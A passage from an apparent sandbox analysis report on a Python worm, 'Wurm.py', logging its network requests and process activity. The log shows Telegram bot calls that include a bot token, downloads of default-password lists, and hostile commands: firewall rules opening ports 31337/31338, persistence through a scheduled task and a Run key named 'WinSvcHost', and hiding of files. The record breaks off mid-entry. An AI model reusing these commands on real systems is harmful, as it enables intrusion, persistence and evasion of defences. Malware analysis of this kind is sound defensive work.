/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"api.telegram.org","host_ip":"149.154.166.110:443","url":"/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates HTTP/1.1\nAccept-Encoding: identity\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 9\nHost: api.telegram.org\nUser-Agent: Python-urllib/3.11\nConnection: close","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"raw.githubusercontent.com","host_ip":"185.199.109.133:443","url":"/danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.txt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.txt HTTP/1.1\nAccept-Encoding: identity\nHost: raw.githubusercontent.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/131.0 Safari/537.36\nConnection: close","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"raw.githubusercontent.com","host_ip":"185.199.109.133:443","url":"/scadastrangelove/SCADAPASS/master/scadapass.csv","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /scadastrangelove/SCADAPASS/master/scadapass.csv HTTP/1.1\nAccept-Encoding: identity\nHost: raw.githubusercontent.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/131.0 Safari/537.36\nConnection: close","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"raw.githubusercontent.com","host_ip":"185.199.109.133:443","url":"/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt HTTP/1.1\nAccept-Encoding: identity\nHost: raw.githubusercontent.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/131.0 Safari/537.36\nConnection: close","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"api.telegram.org","host_ip":"149.154.166.110:443","url":"/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage HTTP/1.1\nAccept-Encoding: identity\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 36\nHost: api.telegram.org\nUser-Agent: Python-urllib/3.11\nConnection: close","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}],"processes":[{"pid":8396,"ppid":0,"name":"py.exe","command_line":"\"C:\\Wurm.py\"","sha256":"dc7585f00e12dc97427a3c98bbf8b09c3498b1e81be2f245a68bac1dae2bf46a","normalized_path":"%WINDIR%\\py.exe","uid":"00000000-00008396","icon":"$7a"},{"pid":8020,"ppid":8396,"name":"python.exe","command_line":"\"C:\\Wurm.py\"","sha256":"bf1b03022cadfc18049a7f0ecf1f3134c7676fcb6ff6c6941ae7f77e21285c73","normalized_path":"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe","parent_uid":"00000000-00008396","uid":"00000000-00008020"},{"pid":4724,"ppid":8020,"name":"cmd.exe","command_line":"/c \"ver\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00004724"},{"pid":7600,"ppid":8020,"name":"python.exe","command_line":"-m pip install -q --disable-pip-version-check --no-input --no-warn-script-location cryptography paramiko impacket","sha256":"bf1b03022cadfc18049a7f0ecf1f3134c7676fcb6ff6c6941ae7f77e21285c73","normalized_path":"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe","parent_uid":"00000000-00008020","uid":"00000000-00007600"},{"pid":1148,"ppid":7600,"name":"cmd.exe","command_line":"/c \"ver\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007600","uid":"00000000-00001148"},{"pid":3264,"ppid":8020,"name":"cmd.exe","command_line":"/c \"wmic computersystem get model\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00003264"},{"pid":1520,"ppid":3264,"name":"WMIC.exe","command_line":"wmic computersystem get model","sha256":"da603fa720ab43aa6d4d36aa9fdb828dab9645523eabaac209af6451d5b4d757","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00003264","uid":"00000000-00001520"},{"pid":6896,"ppid":8020,"name":"cmd.exe","command_line":"/c \"wmic bios get serialnumber\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00006896"},{"pid":1508,"ppid":6896,"name":"WMIC.exe","command_line":"wmic bios get serialnumber","sha256":"da603fa720ab43aa6d4d36aa9fdb828dab9645523eabaac209af6451d5b4d757","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00006896","uid":"00000000-00001508"},{"pid":2820,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall delete rule name=\"k9 py\" >nul 2>&1\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00002820"},{"pid":2060,"ppid":2820,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"k9 py\"","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00002820","uid":"00000000-00002060"},{"pid":2284,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall delete rule name=\"k9 tcp\" >nul 2>&1\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00002284"},{"pid":8852,"ppid":2284,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"k9 tcp\"","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00002284","uid":"00000000-00008852"},{"pid":2736,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall delete rule name=\"k9 udp\" >nul 2>&1\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00002736"},{"pid":2664,"ppid":2736,"name":"netsh.exe","command_line":"netsh advfirewall firewall delete rule name=\"k9 udp\"","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00002736","uid":"00000000-00002664"},{"pid":4672,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall add rule name=\"k9 py\" dir=in action=allow program=\"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe\" enable=yes profile=any\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00004672"},{"pid":1896,"ppid":4672,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"k9 py\" dir=in action=allow program=\"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe\" enable=yes profile=any","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00004672","uid":"00000000-00001896"},{"pid":3760,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall add rule name=\"k9 tcp\" dir=in action=allow protocol=TCP localport=31337,31338 profile=any\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00003760"},{"pid":4364,"ppid":3760,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"k9 tcp\" dir=in action=allow protocol=TCP localport=31337,31338 profile=any","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00003760","uid":"00000000-00004364"},{"pid":4760,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall add rule name=\"k9 udp\" dir=in action=allow protocol=UDP localport=31337 profile=any\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00004760"},{"pid":7560,"ppid":4760,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"k9 udp\" dir=in action=allow protocol=UDP localport=31337 profile=any","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00004760","uid":"00000000-00007560"},{"pid":7936,"ppid":8020,"name":"cmd.exe","command_line":"/c \"netsh advfirewall firewall add rule name=\"k9 out\" dir=out action=allow program=\"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe\" enable=yes profile=any\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00007936"},{"pid":5936,"ppid":7936,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"k9 out\" dir=out action=allow program=\"%LOCALAPPDATA%\\Programs\\Python\\Python311\\python.exe\" enable=yes profile=any","sha256":"6b691b06fa865f52c9484ef4f10e2e02ed6d7c3a3f474b8b138a33af7258b2a9","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00007936","uid":"00000000-00005936"},{"pid":5560,"ppid":8020,"name":"cmd.exe","command_line":"/c \"schtasks /create /tn WinSvcHost /tr \"'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'\" /sc minute /mo 5 /f\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00005560"},{"pid":8220,"ppid":5560,"name":"schtasks.exe","command_line":"schtasks /create /tn WinSvcHost /tr \"'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'\" /sc minute /mo 5 /f","sha256":"2327e073dcf25ae03dc851ea0f3414980d3168fa959f42c5f77be1381ae6c41d","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00005560","uid":"00000000-00008220"},{"pid":6928,"ppid":8020,"name":"cmd.exe","command_line":"/c \"reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WinSvcHost /t REG_SZ /d \"'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'\" /f\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00006928"},{"pid":1164,"ppid":6928,"name":"reg.exe","command_line":"reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WinSvcHost /t REG_SZ /d \"'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'\" /f","sha256":"c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006928","uid":"00000000-00001164"},{"pid":6992,"ppid":8020,"name":"cmd.exe","command_line":"/c \"attrib +R +H +S \"C:\\Wurm.py\"\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00006992"},{"pid":6876,"ppid":6992,"name":"attrib.exe","command_line":"attrib +R +H +S \"C:\\Wurm.py\"","sha256":"1043111ff07814b0d3439561b4cee5d7ec1799a7a0a419949fee707666f6dded","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00006992","uid":"00000000-00006876"},{"pid":6124,"ppid":8020,"name":"cmd.exe","command_line":"/c \"attrib +R +H +S \"%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py\"\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00006124"},{"pid":3244,"ppid":6124,"name":"attrib.exe","command_line":"attrib +R +H +S \"%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py\"","sha256":"1043111ff07814b0d3439561b4cee5d7ec1799a7a0a419949fee707666f6dded","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00006124","uid":"00000000-00003244"},{"pid":7624,"ppid":8020,"name":"cmd.exe","command_line":"/c \"attrib +R +H +S \"%TEMP%\\.k9_68be.py\"\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008020","uid":"00000000-00007624"},{"pid":7512,"ppid":7624,"name":"attrib.exe","command_line":"attrib +R +H +S \"%TEMP%\\.k9_68be.py\"","sha256":"1043111ff07814b0d3439561b4cee5d7ec1799a7a0a419949fee707666f6dded","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00007624","uid":"00000000-00007512"},{"pid":1316,"ppid":8020,"name":"cmd.exe","command_line":"/c \"attrib +R +H +S 